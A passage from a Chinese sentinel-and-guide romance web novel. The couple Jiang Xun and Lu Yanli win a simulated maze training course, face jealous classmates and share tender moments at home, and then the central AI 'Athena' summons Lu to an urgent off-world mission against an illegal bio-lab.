他顿了顿，看着对方因为自己的话微微发亮又有些赧然的双眸，话锋一转，语气中便带上了一丝调笑：“不过……”见陆厌离马上紧张地看过来的视线，接着道，“你这样穿，的确非常好看，我很喜欢。” 这一声“喜欢”，立刻让陆厌离的面上绽开一个惊喜的笑容，却又不敢去追问清楚，情绪激荡之下，忍不住上前一步，张开手臂紧紧搂在了江寻腰间，将发烫的脸颊埋进了他的胸口。 江寻被他撞得微微后退了半步，感受到怀中人有些忐忑，又非常惊喜，还带着十分依赖的拥抱，犹豫了一下，最终还是抬起手，轻轻放在了陆厌离靠在他肩头的灰发上，温柔抚摸了几下。 选好衣服后，陆厌离明显急切了许多，连早餐都吃得心不在焉，脸上却一直挂着笑容，任谁都能看得出，他此刻的心情非常好。 江寻有些好笑，也没有点破，只是下意识地加快了手下的动作，很快用过早餐，收拾妥当，坐上了前往圣所的悬浮车。 今天两人不用中途分道走，陆厌离直接把车子开进了哨兵学院的停车坪。 他们出门得太早，当两人并肩出现在模拟训练场门口时，里面到场的同学还不到一掌之数。 虽然人少，可嗡嗡嗡的嘈杂谈笑声可一点也不小。发现江寻两人到达时，聚在一起的几人明显愣了一下，随即，兴奋的议论声便更大了。 这段时间以来，江寻也已经渐渐习惯了这种被众人瞩目的情况，此时也没有去在意对方在他们背后聊了些什么。见时间还早，便带着陆厌离往训练场里面走去。 陆厌离虽然少时也在哨兵学院中读过几年书，可他情况特殊，从没上过这种公共课程，对于这里的设施与待会儿的上课流程也不熟，江寻正好趁着这会儿人少，给他介绍一番。 所谓模拟训练场，就是所有的训练项目都在全息模拟空间中进行的场地。 场中并没有真正的实训场地空地，而是次第排列着一片单人实景映射器。每一个映射器占地直径约三米左右，外形类似一个超小型的带护栏拳台。 设备启动后，使用者需要佩戴专用的战术目镜，登上台面中央。此时，台面范围内会生成一个无重力束缚力场，将使用者悬空束缚在中央位置。而目镜内会呈现全角度的虚拟实景，使用者做出的任何动作都会被捕捉到，并实时映射到虚拟场景之中，从而达成训练效果。 听起来原理和江寻曾经在寂静星上用过的训练舱相似，但实际上其中所蕴含的科技含量完全不同，属于一种比较平价普遍的训练设施。 江寻带着陆厌离在场中转了一圈，给他讲解了一下他们一般进行协同训练的流程。待陆厌离试验过这种实景映射器，场中已经来了不少同学。 这会儿，江寻的同窗们看着相携着凑在一起说话的两人，心中也激动不已。 这段时间以来，虽然大家已经习惯了看到夏因和陆少将同进同出，但两个人性格都有些冷淡，在圣所里本身也没什么好友。再加上陆厌离过往的威名，根本没人敢贸然凑到他们跟前搭话。 众人也只见过他们在圣所中的样子，不知道身份、地位、能力，都相差得如此悬殊的两人，在私下里的关系究竟是什么样的。 在今天之前，许多人都在怀疑，已经成为军部少将这种等级的大人物的陆厌离，是不是只是一时兴起，才与夏因打得火热？很多人都觉得他不可能会舍下身份，真的跑来陪夏因上这种在他眼里近乎是过家家的基础协同课。 因此，在真的见到两人一同出现时，不少人都感到不可思议。 而且，今天的陆厌离没有穿着平日里那种休闲装，而是一身笔挺威严的军部少将军服。这副模样，与以往众人在各种新闻媒体中看到过的一模一样，瞬间唤醒了众人的记忆。 那种属于真正的顶级哨兵的强大气场，与血火中挣扎搏命磨练出的坚定气质，在此时真正震撼到了所有人，让许多学员都产生了一种“联盟风云人物走进现实”一般的恍惚感。 不少人不由地低声感叹了起来： “陆少将真的来了……” “夏因真的能把他请来陪他上这种课啊……” “他们的感情看起来还真的不错呢……” 当然，人多的地方，各种纷争也多，尤其是他们这种经常能接触到顶层圈层，尤其到上流社会繁华的学员。议论声中，也夹杂着不少不同的声音。 “可是……夏因虽然优秀，但也只有B级吧？我记得他的最高潜能上限也就到B了。他们的等级也差得太多了，真能长久下去吗？” “而且之前他的匹配度测试里，也没测出和陆少将有高匹配度吧？能不能达到60%这个绑定的最低门槛还不好说呢！” “一时情热谈谈恋爱就算了，真的要协同战斗，他们既没有匹配度，也没有磨合过，两人的战斗经验也差得很远吧？能配合得好吗？” “会不会还不如当时的洛伦茨啊？那陆少将不是要丢脸了？” 众人仗着距离远，聚集在一起窃窃私语，却忘了他们议论的主人公可是一位五感超强的S级哨兵，所有的话语统统被远处的陆厌离听得一清二楚。 陆厌离没有将这些告诉江寻，却始终分了一丝心神留意着这些平日里离江寻最近的人对两人的评价。 当听到有人感叹他们关系密切，便忍不住嘴角上扬；当听到有人贬低江寻，又愤愤不平；尤其是听到他们将自己与洛伦茨放在一起比较，还觉得自己和江寻的亲密度比不上对方时，眼神瞬间冷了下来，不觉就将这个名字在心里记了下来。 江寻没听到这些小声议论，只是发现陆厌离走着走着，越来越慢，脸上的表情也变来变去。虽然不知道是怎么了，但看着他这幅鲜活的样子，不禁就觉得有些好笑，又十分可爱。 他也没问对方此刻究竟在想什么，只是轻轻推了推他的手臂，低声提醒：“走吧，我们该去准备了。” 被江寻的一推瞬间打乱了思绪，陆厌离也不再去理会那些没眼光的人。扭头看向江寻时，眼神立刻软化了下来。点了点头，便牵着他一起走向了指定的准备区，等待着导师的到来。 莉亚教授的时间观念非常强，准时在上课前三分钟，踏入了训练场的大门。 环视一圈，看到本级的学员们都已到齐，与自己的搭档站在了准备区中，满意地点了点头，随即下令，让所有人按照学号领取了自己和搭档的实景映射器，分别就位，一起进入了模拟空间之中。 今天的课程内容是抗压性训练，主要方向是在复杂环境中对信息的过滤梳理与同步调控。 向导需要在充满干扰的恶劣环境中，快速为搭档哨兵构建精神屏障，筛选屏蔽掉各种无用的感官信息。同时，从这些干扰中提取出有用的情报信息，实时同步给哨兵获得线索前进。并且，在前进过程中，还会有模拟敌人来袭，向导必须在战斗中快速分析出敌人的要害反馈给哨兵，有时甚至需要在这个过程中精细调控哨兵的五感，从而战胜敌人。 向所有人详细介绍了课程的中心内容，莉亚教授便将相应的模拟环境调度了出来。 今天他们即将使用的训练环境是一个庞大的迷宫。 迷宫中会有提前设置好的大量杂乱无章的精神波干扰，同时，迷宫的墙面、地面甚至空间中，会投射出各种光怪陆离的活动色块等视觉干扰。空中还有持续播放的大量无意义噪音与误导性回音。甚至在部分区块中，还设置有多种极端刺激性气味。一切都以干扰五感敏锐的哨兵为目的，没有经受过专业训练的哨兵，仅仅是身处其中保持清醒都会极度艰难。 项目正式开始，学员们与他们的搭档两人一组，被分别投放到了数十个迷宫的入口处，他们需要在迷宫中找到正确的路径，行至终点处打卡，才算成功完成课程。 在这样的强压环境之中，许多等级不高的哨兵，几乎在进入的瞬间就露出了痛苦烦躁的表情。向导们手忙脚乱地开始为两人构建屏障，还要顶着强干扰从大量垃圾信号中梳理出自己所需的正确情报。很多不适应的学员当即便陷入了困境之中，互相之间的配合显得磕磕绊绊。 不过，这些人中还是有一些实力较强，也已经培养出了默契的哨向搭档。这些人在开始时还能勉强保持住自己的节奏，但随着对迷宫的深入，出现的干扰与来袭的敌人也变得越来越强，很快便开始出现失误，行进速度减缓了下来，甚至有的组合不得不暂退到压力较小的区域进行重新修整。 训练开始的时间还不到十分钟，众人就开始纷纷抱怨了起来。 “这难度也太离谱了……”一个刚刚从战斗中脱离，又因为分析出了错误的情报，一头撞上幻影墙壁的向导满头大汗地抱怨起来。 “是啊，我们哨兵学院的训练也没有这么大的信息过载量，我好歹还是B级哨兵呢，都完全扛不住这种干扰冲击，就算是陆少将这种S级哨兵，也得有个超强的向导配合才能快速通关吧？”他的搭档哨兵附和道。 刚才的遭遇战中，因为一直没能找到敌人的要害，他苦战了很久，这会儿已经筋疲力尽，一边休息着一边等待着自己的向导找出正确的路径。 然而，他的话音还未落下，迷宫训练场中便有清晰的系统提示音响起： 【夏因小组，成功突破迷宫，完成课程目标。用时：7分32秒，评分：10】 场中的学员们瞬间目瞪口呆。 他们之中，大部分人都还没有走完十分之一的路程。 这个离谱的通关时间，更是令所有人都难以置信地瞪大了眼睛。这个成绩，足以刷新这个项目的历史记录。 “怎么可能？！这才多久？” “他们是怎么办到的？这么点时间，即使什么干扰都没有，直接跑到终点也很难做到吧？” 震惊过后回过神来，便是各种的猜测与羡慕感叹。 “不愧是陆少将啊，S级哨兵的实力也太恐怖了。” “啊！他来参加这种基础性训练，完全就是降维打击吧？” “以他的过往经验，是不是根本就不用向导的辅助啊？” “这真的能训练到哨向配合吗？夏因向导完全是被超级高手带飞了吧！” “这就是顶级搭档的感觉吗？也太爽了吧……好羡慕夏因。” 几乎所有被震撼到的学员都将这份惊人的成绩，理所当然地归功到了陆厌离的身上。与这样的大人物同场训练，令所有人在压力巨大的同时，也对夏因升起了羡慕之情。 直至快到中午，所有学员才全部通过迷宫，结束了课程。 这个时候，江寻已经无聊地拉着陆厌离，利用映射器进入其他的项目里玩耍半天了。 毫无悬念，最终成绩公布，两人以满分的成绩高居榜首。相应的通关时间更是断层领先，一举打破了这个项目保持了十几年的历史记录，在系统中留下了他们的名字。 第178章 排行榜上， “夏因”与“陆厌离”两个名字并驾齐驱，一骑绝尘。 看向高高悬挂的那两个名字，陆厌离先是为与他并列的名字不是真实的“江寻”而稍稍遗憾了一下。可看到身边同样抬头望去的江寻， 面上马上露出了笑意， 偷偷凑近拉住了他的手。迎上江寻疑惑的视线后，面颊微红， 眼神里透出一股求表扬的意味。 江寻见状， 瞬间明白了他的心思。大庭广众之下，两人也不便有过多的肢体交流，便轻轻捏了捏摸进他手心里的手指，微微一笑，让陆厌离感受到了自己的认可。 旁边的学员们，此刻终于直观地认识到了陆厌离与他们这些人之间如同天堑般的实力差距。沮丧的同时， 也升起了一股“大人物果然不一样”的微妙情绪。 原先他们还因为与江寻是同窗，有些不好意思前去与陆厌离搭讪。此刻真切地感受到了他与他们平时所能接触到的哨兵之间的巨大差距， 近水楼台的心思便熊熊燃烧了起来。 见此时两人的神情都很温和，终于有按捺不住的人鼓起了勇气凑上前来。 一个在班级里人缘非常好的男向导， 率先越众而出：“夏因， 你们真是太厉害了！这成绩真是惊人……” 他的话还没说完，另一个长相娇小可爱的女向导也不甘示弱地追着他凑了过来，“是啊！特别是陆少将， 真是让我们大开眼界！”她虽然对着江寻说着这番话， 眼睛却已经含羞带怯地瞟向了一旁长身玉立的陆厌离，正要继续搭话尝试邀约，“下次有机会……”话音刚刚出口，便被骤然扭过头来的陆厌离冰冷的视线，吓得面色发白。 见有人靠近了江寻还和他搭话， 陆厌离丝毫没有犹豫便瞬间转过了身，挡在了江寻的面前，眯眼看向前来套近乎的两人，脸上几秒钟前还洋溢着的笑容刹那消失无踪。 属于最强战士的沉重威压，伴着没有情绪的眼神落在两人身上，即刻间便将他们所有套近乎的话语都冻在了喉咙里。 那男向导实力更强，心性也更稳定一些，被陆厌离这一下惊得面色发白，反应过来之后，匆匆忙忙地道了句“抱歉，打扰了。”，便慌忙转身离开。而女向导则更加难堪，被吓得浑身都开始发抖，被她的哨兵揽住腰间拉了回去，才脱离了那令人窒息的力场。 冷眼对周围扫视一圈，见无人再敢来接近江寻，陆厌离这才收回了视线。再转过身面对江寻时，刚才那迫人的气场瞬间消散，又变回了那副温和听话，充满依赖的模样。 江寻对刚才两人真正的目标心知肚明，看着陆厌离这副严防死守的样子，不禁觉得好笑，捏了捏他的手心，压低声音：“傻瓜，他们都是向导，来找我说话，多半是想通过我和你攀上关系而已。” 陆厌离听到这话瞬间一楞，眉头微微蹙起，似乎不太理解，低声嘟囔：“我？他们要认识我干嘛？你那么优秀……他们难道不是应该……” 江寻被他这副“他们是不是眼瞎”的表情逗笑，无奈地摇了摇头，心中却不知不觉地泛起一丝甜意。 周围众人看到两个先头兵的待遇，不敢再去套近乎，场面瞬间安静了下来。直到看见江寻与陆厌离两人又低声谈笑了起来，气氛才重新活跃了起来。不过此时，对陆厌离强大实力的赞叹，已经大多转化为了对江寻好运气的羡慕。训练开始之前还被谈起的洛伦茨，更是在这时完全被人遗忘在了脑后。 在这片羡慕与憧憬的感叹声中，突然响起一声“砰”的一声巨响。 不少人被这一下惊到，循声望去，却见声音传来的方向是训练场的一角。 一个面色铁青的人，从一台实景映射器的台子上走了下来，胸口剧烈起伏着，眼中溢满了怒火与屈辱。而映射器周围的护栏，正因为剧烈的撞击猛烈震颤着。 “是桑扶……” “嘘，你小声点……” 有眼尖的人立刻认出了那人的身份，心中一动，立刻去看刚刚刷新在光屏上的实训成绩单。 从头到尾找了好一会儿，才终于在倒数几位的位置上找到了桑扶的名字。 顿时，窃笑声与一些学员毫不避讳的议论声，立刻响了起来。 “嘻嘻，看看那是谁恼羞成怒了？” “平时装得人模人样的，不是还赢了积分赛去过星辉盛宴吗？离了厉害的哨兵搭档就这种水准？” “你们看他今天的搭档！这人以前他根本看不上吧？” “活该！雷欧家怎么可能为了他去得罪陆家？弗兰克少爷都好久没来找他了。听说前几天洛伦茨也跟他闹翻了。没了高级哨兵捧着，他又算个什么？” “可不是嘛，你们看以前围着他转的那些人，最近也不来了。谁让他没事干，整天找人家夏因向导的麻烦，这会儿人家得了势，谁还敢去靠近他？” “嘻嘻，你们听说了没？就他今天这个搭档，还是和他‘深入疏导’以后，才勉强同意跟他来的呢……” “真是风水轮流转啊……” 此时的议论比以往任何时候都要来得热闹，却也比任何时候都要来得刺耳戳心。桑扶低着头控制不住地大口喘吸着，他终于再一次成为了全场所有人的焦点，却是以这种无比难堪的方式。 他身边好不容易找来的搭档，也在这时匆匆忙忙地掩面而走。他狠狠地瞪向江寻与陆厌离的方向，眼神中满是极致的恨毒，却在对上陆厌离若有似无扫过来的冰冷目光时猛地一颤。 此时失去了所有庇护，他再不敢肆无忌惮地对江寻说出哪怕一句狠话，最终只能咬牙切齿地咽下所有的愤怒，转身灰溜溜地快步离开了训练场。 身影消失在门口的瞬间，身后再次骤然爆发出一阵毫不掩饰的嘲笑声。 课程结束，众人对着排行榜又感叹议论了好半晌，这才逐渐散去。 江寻也和陆厌离随着人流开始离开模拟训练场。 刚走出训练场入口，江寻便敏锐地感觉到了一道复杂的视线落在了自己身上，身边的陆厌离也倏然扭头看向旁边方向。 江寻循着感觉望去，在训练场外的一条廊道里，看到了两个出乎意料的身影。 “他们怎么会在一起……”江寻低语道。 那边站着的两个人影，正是有段时间没有见过的洛伦茨和季千钧。 江寻停下脚步，在这个曾经很熟悉的朋友身上打量了一番。 洛伦茨似乎变了许多。 他身上曾经洋溢着的那股自信从容的气质，如今几乎消散殆尽。眉宇间时时刻刻皱起，始终拢着一层挥之不去的阴霾。连那头灿烂若月辉的银发也失去了往日里的光泽，显得有些黯淡。 他刚才似乎正与身边的季千钧在说着什么话，这会儿看到江寻从这边的模拟训练场里出来，先是意外，随即又变作恍然。看向江寻的眼神格外复杂，里面有着后悔、不甘，以及一些江寻也看不懂的东西。 见江寻也抬眸向他看了过来，似乎是突然鼓起了勇气，想要抬脚朝江寻这边走过来。 然而，他的身形刚动，一个身影便无声无息地横插在了江寻身前，将他的视线彻底阻隔。 陆厌离面色冷峻，碧绿的眼眸中又有丝丝黑沉弥漫了开来。眉头一压，看向洛伦茨的目光就充满了压迫感，周身时刻笼罩着的无形力场也隐隐沸腾了起来，令空气似乎都有些凝滞了起来。 洛伦茨的脚步瞬间被钉在了原地，脸上最后一丝血色也骤然褪去，周身的气息刹时灰败下来。 他看了看被陆厌离牢牢护在身后的江寻，嘴唇动了动，最终却什么话也没能说出来，颓然地垂下了视线，眼睁睁地看着两人相伴离去。 站在洛伦茨身旁的季千钧，将这一切都看在了眼里，见到那两人毫不留恋地转身离去，抱着手臂轻轻叹了口气，语气里带着几分惋惜与自嘲：“我本来还以为你会是笑到最后的那个人。”她摇了摇头，看向洛伦茨的眼神有些怜悯，“没想到你也下了一步臭棋，之后一步走错，满盘皆输。” 看看陆厌离与江寻渐渐远去的背影，季千钧继续道：“可笑我那时在星辉盛宴上看到他，还以为他已经被你们挤兑得没有立足之地了，还施舍一般用和我绑定来诱惑他。”她自嘲地叹息一声，“现在看来，还真是可笑。” 她顿了顿，而后，脸上重新扬起的，却是完全不同于洛伦茨的，属于A级顶尖哨兵的峥嵘骄傲：“输给陆厌离，我季千钧愿赌服输！不过，我也会成为不下于他的下一个S级哨兵，总会有更适合我的向导出现！”她恨铁不成钢地看了眼面前失魂落魄的洛伦茨，“原本以为你会是我未来另一个有力的竞争对手，现在看来，是我错了。再见了，我不会再来了。” 说完，她红发一甩，干脆地背着她身后那把从不离身的巨剑转身就走，再也没有回过头去看身后的洛伦茨一眼。 洛伦茨听到她的话语浑身一震，随后，身上的气息却再次黯淡了下来，整个人被廊道中的阴影吞噬殆尽。 * 另一边，直到走出了哨兵学院，陆厌离身上那层炸起的毛才慢慢平复了下来。江寻看在眼里，抿唇轻笑了一声，又在陆厌离控诉地看过来时立刻收起了笑容，佯作无事地扭头轻咳了一声。 回家的路上，陆厌离的心情又渐渐高昂了起来。虽然脸上的表情并不明显，但那微微上扬的嘴角，轻快的步伐，与时不时向着江寻这边飘过来的带着笑意的眼神，都暴露了他此刻内心的愉悦。 显然，他对于自己今天第一次以江寻正式搭档的身份出场所达到的效果十分满意，尤其是后来被众人感叹比洛伦茨厉害得多，和江寻更加亲密时，更是像一只被捋顺了毛的大猫，从头到尾都洋溢着一股子满足感。 江寻将他这副难得在外人面前外露的开心尽收眼底，自己的心情也不由自主地随之轻快了起来。 直到回到江寻的公寓，陆厌离似乎还沉浸在那种“江寻的正式搭档”的角色氛围里，穿着他那身挺括的黑色军服在客厅里走来走去，表情也一本正经的，没像以往那样一回家就腻在江寻身边，甚至偶尔还会状似不经意地偷偷在反光的玻璃上，瞟一眼自己的模样，看着自己依旧挺拔玉立，唇边便漾起一个带着点得意的弧度。 看着他这副模样，江寻开始还会配合地夸奖两句，让他更加高兴一些。直到晚饭都吃完了，他还维持着这副样子不停在江寻面前晃来晃去，终于把江寻逗笑了，无奈地把他推进了浴室：“快去洗澡把衣服换下来吧，穿了一天了不累吗？今天很帅气，等下给你做深层疏导当奖励好不好？” 陆厌离闻言，这才在丰厚的奖励之下，不舍地放弃了把这身衣服穿到睡觉前的打算，听话地进了浴室。 待他再出来的时候，已经换上了柔软舒适的家居服。也不知是衣服的原因还是刚洗过的头发的原因，只是洗了个澡，他整个人便好像卸下了身上那层端肃的外壳，变得柔和了许多。 两人今天在协同课上拿到了一个十分优异的成绩，但对于他们两个的真实实力来说，这样的训练实在不算什么，几乎一点儿精神力都没有消耗。反而因为今天一天心情都非常愉悦，精神力状态十分活跃高昂，深层疏导进行得格外顺利，江寻的精神力洋洋洒洒地蔓延出去，轻易便覆盖到了更远的地方。 陆厌离的精神图景中，位于中心处的那个小喷泉如今已经咕咚咕咚地不停往外冒着清冽的泉水。白隼站立的位置，也由喷泉顶端换到了喷泉上的花朵形雕塑上。 灰色的猫猫，始终趴卧在威风凛凛的白隼脚下，毛茸茸的大尾巴，在白隼净化疏导时，总是有意无意地圈着白隼的爪踝或翅尖，那股子亲昵依赖的劲头毫不掩饰。 也许真的是因为今天的心情太好了，直到疏导结束，意识重新回到了人身之中，陆厌离那股子粘人的劲头依然有增无减。 也不管白天还穿着一身挺拔军装一副成功人士的端庄模样，江寻刚坐到书桌前准备学习功课，他便也跟了过来，两条大长腿一屈就靠着江寻的小腿坐了下去，后背往他身上一倚打开终端，自顾自处理起了今天由第八军团那边发送给他的日常事务。 感受着腿上压上来的重量，江寻抿嘴一笑，也不去在意，看他已经飞快进入了工作状态，便也提起笔来，翻开明日要上的课程，提前预习了起来。 静谧安宁的气氛在两人之间流淌着，令各自的心神都更加专注放松了起来。 正沉浸在一个应用问题里思考，江寻忽然感觉脚踝处传来了一阵轻柔又微痒的触感。 疑惑地低头一看，不由得失笑。 也不知是不是今天的状态太放松了，陆厌离竟然在不自觉间拟化出了一条毛茸茸的灰色大尾巴！ 由人形拟化而出的尾巴，从他宽松的后腰衣物里探了出来，比猫形时还要巨大蓬松了一圈，油光水滑的，一看便知摸起来手感极佳。 这会儿，那尾巴正在他身后悠闲地有一下没一下地轻轻摇摆着，一会儿缠绵地卷上江寻赤裸的脚踝，一会儿又松了开来，像羽毛般拂过他的脚背。而尾巴的主人似乎还对此毫无察觉，依旧稳稳地靠在江寻的小腿上，半低着头手指不停在终端上点击着，沉浸在工作中的表情认真而恬静。 江寻静静凝视着这一幕，心跳却不由自主地渐渐加快了起来。 眼前这个男人，强大又脆弱，冷淡又粘人，身上始终被矛盾的感觉充斥着。他拥有的很多，失去的更多，此刻，那些外物却没有在他身上留下任何一丝痕迹。他毫无防备地将最柔软的姿态展现在自己面前，从内心深处本能地对他表达着亲近与信赖。 这种强烈的反差与对他始终不变的极致信任，让江寻只觉得胸口鼓胀，被一种温暖又柔软的甜蜜滋味填满。强烈的被需要的感觉漫上心头，让他忍不住抬起手，轻轻捂住了自己开始微微发烫的脸颊，嘴角却无法抑制地向上勾了起来。 此刻，他的心中不由自主地升起了一种独占的念头，不想让任何人再看到他的这番模样。 或许是江寻的视线让他察觉到了什么，也或许是直觉被触动，陆厌离突然耳朵一动，倏然扭过了头来，与江寻的视线直直相撞。 看到江寻看着自己，他立刻本能地露出了一个笑容。 江寻心中一动，以为自己的眼神让他看出了什么端倪，刚准备和他好好谈谈。却见陆厌离又飞快地低下了头，手指在终端屏幕上飞速划过，数个文件被立即关闭了起来。而后，眼前的人影一矮，衣物终端便统统掉落在了地上。 小小的灰猫飞快从卫衣领口中窜了出来，四爪在他垂坠着的裤子上一抓，便嗖一下跃上了江寻的膝盖。整只猫瞬间人立而起，爪子往江寻脖子上一搭便抱了上去，随即，一阵“喵呜喵呜”的哼唧声便在江寻耳边响了起来。 江寻被他这番几乎不假思索的变换与撒娇骤然袭击，刚刚想说的话瞬间消散开来。无奈地一笑，只得伸手将不知道错过了什么的猫猫搂进了怀里，依着他在自己身上又是一阵亲热厮磨。 叹了口气，惩罚般地轻轻捏了捏他的耳朵，换来一个不明所以的眼神。最终还是释然一笑，一手抱着他一手重新拿起了笔。 时间已经很晚了，陆厌离也没有重新变回人形的意思，就这么以小树的姿态悠哉地卧在江寻膝盖上，等他做完了功课。 在书桌前安静，到了床上就闹腾了起来。 直到月上梢头，江寻都已经躺了下来，猫猫仍是一副精力十足的模样。 钻进被窝以后，在江寻身前身后来回乱窜，一会儿扒着他的衣领凑近过来亲亲舔舔几下；一会儿又踩着他跃到身后，蜷缩在他脖颈后面抓他的头发玩；过一会儿，又抱上了江寻的手臂，把他往自己肚子上扯，让他给自己揉肚子。 嘴里也一会儿没停，“喵呜喵呜”的撒娇呼唤声不绝于耳，直缠着江寻陪他玩了半个多小时仍没有丝毫要睡觉的意思。 最后终于玩累了，这才喘着气熟门熟路地钻进了江寻怀里，扒着他的脖子凑到了面前，伸出湿漉漉的鼻尖亲昵地蹭了蹭江寻的下巴，又发出一连串细小的呜咽声，圆滚滚的绿眼睛里充满了期待，试探着向着江寻嘴边凑了过来。 江寻望着他那双在昏黄的灯光下越发显得清澈眷恋的眸子，心中微微一动，一股柔软的甜味儿便漫上了胸腔。微微垂下头以示许可，任由眼睛瞬间亮起来的小猫，在自己唇上印下一个湿润的亲吻。 愿望得到了满足的小猫此刻终于安分了下来，低吟出一声又长又细的调子，便把整个脑袋缩进了江寻颈窝里，身子团成温暖的一团，紧贴上江寻的胸口，渐渐发出了平稳的呼吸声，慢慢沉入梦乡。 江寻低头凝视着猫猫可爱的睡颜，抚在他背后的手移了上来。手指似有若无地从他的耳尖拂过头顶，顺了顺脸颊的绒毛，又在长长的胡须上轻绕几圈，最后点了点湿润的鼻头，停驻了下来。 想到这身毛皮下面隐藏着的那个人，心中再次涌起阵阵温软。听着耳边规律的小呼噜声，凝视着他的双眼中，流淌出无限的珍惜。 像是受到了某种冲动的驱使，他极轻的，小心翼翼地低下了头，在那毛茸茸的，还带着自己气息的嘴巴上，印下了一个轻如绒羽般的吻—— 作者有话说：猫猫错亿[坏笑] 第179章 第二天清晨， 阳光还未完全驱散晨雾，江寻便从床上睁开了眼睛。 胸前暖洋洋的，一个毛茸茸的小家伙， 仍然紧贴着他睡得深沉。 江寻微微一笑， 小心坐起身来，又把被子往下拉了拉， 让猫猫的脑袋露出来， 呼吸更顺畅一些，这才起身洗漱，先去为两人准备早餐。 刚刚做好三明治打算去叫陆厌离起床，却听卧室里传来一阵个人终端急促的蜂鸣声。 嗯？这么早？ 没等江寻再去叫人，一阵轻微的精神波动过后，蜂鸣声停了下来。待江寻端着两人的餐盘放上餐桌， 陆厌离已经换好了军服，一边往手上戴终端， 一边皱着眉头走了出来。 “怎么了？谁的信息，这么早？” 陆厌离看着终端屏幕上以最高权限发送过来的信息， 沉声回答：“最高智脑， 雅典娜。” * 第八军团总部，威尔逊将军的办公室内，气氛凝重。 被陆厌离的一道通讯从家里叫过来的威尔逊将军， 看着他的终端上显示出来的那份由雅典娜直接下达过来的S级紧急任务， 面色沉重。 不长的任务信息通报上，以冰冷的字体写着这一次任务的简略情况： 命令陆厌离在今日之内完成战前准备，于明天一早即刻动身，前往边缘M94星系，HD-187号宜居星， 潜入并摧毁一个非法高危生物实验室。 在任务通报的备注资料中，详细记载了这一颗宜居星上的执政主体、人口分布等详细情况。这个实验室，就位于其中一处人口稠密地区。 资料上还提到，有情报显示，这所实验室资源雄厚，防护严密，且拥有相当数量的顶级私人武装，常规火力武器难以彻底清除。目前，实验室中正在研制的一种孢子类病毒已经发生了初步泄露，其危害程度达到了星球级。若彻底爆发开来，整个星球都将面临致命的威胁。 “……这份资料是信息智脑赫尔墨斯发送过来的，资料本身没什么问题，从这套情报分析上来看，判定由你去执行任务的确符合逻辑，但是……”威尔逊粗重的眉毛拧在了一起，手指从终端上的资料页面上划过，“按理来说，就算有任务需要S级哨兵出动，任务也应该下达给军部或者塔的外勤部。更何况，你现在还在休假期间，联盟又不是没有别的S级哨兵，按优先级来说，怎么也不该由雅典娜直接越级给你个人指派任务才对。” 他顿了顿，看向陆厌离：“这个任务太奇怪了，我觉得其中一定有问题，要不然你先拒绝了这次任务，让我去人工智能中央控制中心，问问雅典娜的系统主管。我早就觉得奇怪了，之前派给你的任务数量就出奇得多，这背后一定有什么人在做手脚。” 陆厌离沉默片刻，威尔逊将军说的，也是他疑虑的地方，然而…… “虽然任务的指派方式有问题，但是，从通报内容来看，这次事件是真实的，那里的确即将发生一起星球级的病毒泄露事件。若是我拒接任务的话，这个任务就会被打回去重新审核，再发配到军部或者塔中，重新经历一遍调配流程，这一来一回，中间最少也要多耽误一天时间……” 陆厌离叹了口气，看向已然明白了他意思的威尔逊，“那边的情况随时都可能爆发，容不得我们慢慢审查了。” “你……”威尔逊将军看着自己这个最得力的下属，眼中闪过忧虑。 “我得先去把这次事件处理了，其他的事，等回来再调查吧。”陆厌离的声音冷静，已然在这片刻之间做出了决定。 但是，想到江寻，他还是犹豫了一下，对着威尔逊将军请求道：“不过，我不太放心中央星这边。在我离开去执行任务的这段时间，希望您能帮我……”说到这里，他难得地有些不好意思，“帮我照看一下我的向导。我总觉得，这次任务的目标可能不仅仅是我一个人……如果发生了任何意外，请您务必要第一时间通知我。” 威尔逊看着陆厌离眼中深藏着的担忧，重重拍了拍他的肩膀：“当然没问题。你放心去吧！你家那个小子，我有所耳闻，我会亲自帮你看着的。任务的事，我也会马上开始调查。你这次去……万事小心。要是感觉不对，就立即撤退，别自己硬扛，第八军团永远都是你的后盾！” “我明白了，谢谢将军。”陆厌离深深一躬，而后坚定转身，离开了威尔逊将军的办公室。 * 既然已经决定了要去外域执行任务，陆厌离就马上准备了起来。 适应当地环境的战斗服与装甲都要在今天一天之内准备完全，军部后勤部门没有这样的效率。一离开军部，他便马上前往了塔中专门负责装备研发与制造的铸星中心，提交了个性化装备定制申请。 这里拥有全联盟最顶级的装备实验室与制造工厂，能确保他在明早出发时，拿到所有常规战斗装备。 忙碌了一整天，配合着铸星的工作人员记录了各种数据与武器的规格尺寸，陆厌离终于赶在傍晚前完成了准备工作，回到了江寻的公寓里。 晚上，等江寻回到公寓时，陆厌离已经准备好了晚餐。 屋中只亮着几盏暖黄的壁灯，普通的餐桌被铺上了一层考究的桌布，桌面上，几个银盘被餐盖盖着，整齐的刀叉陈列在侧。 见江寻进门，一身笔挺黑色军装的陆厌离站起了身来，点燃了餐桌中央烛台上的蜡烛，抬眼，对他露出一个浅浅的笑容。 江寻与陆厌离面对面相对而坐，今天的陆厌离似乎恢复了与江寻相认之前的样子，优雅、矜贵，一举一动彬彬有礼，是在江寻面前难得展现出的世家风范。 虽然晚餐准备得隆重，味道也十分可口，可此时的气氛却不似他们平日里温馨，反而显得有些凝滞。 陆厌离微微低着头，吃得有些心不在焉，几次抬眼看向江寻，欲言又止。 在他第五次看向江寻时，江寻终于叹了口气，放下了手中的餐具：“是早上那条信息的事吗？发生了什么事？” 陆厌离深吸了一口气，尽量不让自己的忧虑流露出来：“嗯，早上我去军部确认过了，是一个前往外域的紧急任务，明天就要走，这一次我可能要去几天。” 江寻愣了一下，随即恍然，最近这段时间，陆厌离一直陪着他一起上下课，恍惚间他都忘了对方是军部的正规军人，需要服从任务的调配，可是…… “可是，你现在不是正在休假期间吗？”江寻皱了皱眉，他记得之前陆厌离提过这事。 “对，但是这个任务难度比较高，是由雅典娜直接指派给我的特殊任务。”陆厌离简单解释了一句，没有提到这种任务下达的正常流程，“外域一个星球上发现了一个高危实验室，需要找人去处理一下。时间比较急，而我的能力是最合适的。” 看着陆厌离有些闪躲的眼神，江寻心中升起一丝忧虑。 陆厌离低下头去，想了想，从终端中调出威尔逊将军的私人联系方式，推给了江寻：“这是我的上司威尔逊将军的私人联络码，他知道你，。我离开的这段时间里，如果你遇到了任何麻烦，或者觉得有哪里不对劲，就立刻联系他，他会派人来帮忙的。” 江寻看着被陆厌离推送过来的那串号码，又抬眼看看陆厌离，对方的语气平静，可眼中却隐隐有着埋藏得很深的凝重。 他心中的忧虑更重，如果只是一个普通任务的话，陆厌离需要在离开之前，还特地把自己托付给他的长官照看吗？ 